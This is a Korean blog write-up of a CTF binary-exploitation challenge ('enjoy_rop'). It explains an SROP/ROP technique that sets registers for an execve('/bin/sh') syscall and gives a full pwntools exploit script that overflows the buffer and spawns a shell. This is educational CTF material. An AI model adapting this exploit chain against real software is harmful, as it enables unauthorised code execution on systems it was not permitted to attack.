SROP+ROP-enjoy_rop
SROP문제!
문제는 아주 간단하다.
sys_read를 매우 길게 받는다.
execve를 호출하기 위해서는
eax를 11로 만들고, ecx와 edx는 널바이트로 채우고, ebx에는 /bin/sh문자열의 주소가 들어가야 한다.
문제에서 스택의 주소를 주기 때문에, read를 받을 때, /bin/sh\x00을 주고 그 주소를 알아낼 수 있다.
pop eax라는 가젯이 없으므로, eax는 read로 받아들이는 byte로 바꿔준다.
하지만, return address를 덮어야 하므로, 11만큼 read하면 return address를 덮을 수 없다.
따라서, 다시 앞으로 돌리는 작업이 필요하다. 처음에는 /bin/sh만 넣어주고 뒤쪽에 가젯들을 넣어준다음에
다시 돌아왔을 때는 read를 이용해 eax를 11로 맞춰준다.
주어진 가젯은 pop edx; pop ecx; ret 가젯으로 edx와 ecx를 널바이트로 만들 때 사용했다.
from pwn import *
import time
int80=0x080483f9
read=0x080483fb
gg=0x080483db
pebxr=0x08048496
s=process('./enjoy_rop')
#raw_input()
a=s.recv(1024)[0:4]
sh=u32(a)+4
print(hex(sh))
payload=""
payload+="/bin/sh\x00"
payload+="a"*(32-len(payload))
payload+=p32(sh+0x200) #for valid ebp
payload+=p32(read) #return to read
payload+="b"*(512-len(payload))
payload+=p32(sh+0x100) #for valid ebp
payload+=p32(gg) #go to pop edx; pop ecx; ret;
payload+=p32(0) #to make edx=0
payload+=p32(0) #to make ecx=0
payload+=p32(pebxr) #go to pop ebx; ret
payload+=p32(sh) #to make ebx=/bin/sh
payload+=p32(int80)
s.send(payload+'\n')
payload2=""
payload2+="c"*11 #to make eax=11
s.send(payload2)
s.interactive()
s.close()
'시스템 해킹 > cykor' 카테고리의 다른 글
start_hard-64비트 SROP, 브루트포스 (0) | 2018.01.09 |
---|---|
scv-64비트, C++, ROP, 카나리릭, libc릭 (0) | 2018.01.06 |
rop2-ROP+SROP (0) | 2018.01.05 |
rop1-ROP+SROP (0) | 2018.01.02 |
2015410212-64비트 쉘코드, 간단한 xor (0) | 2018.01.02 |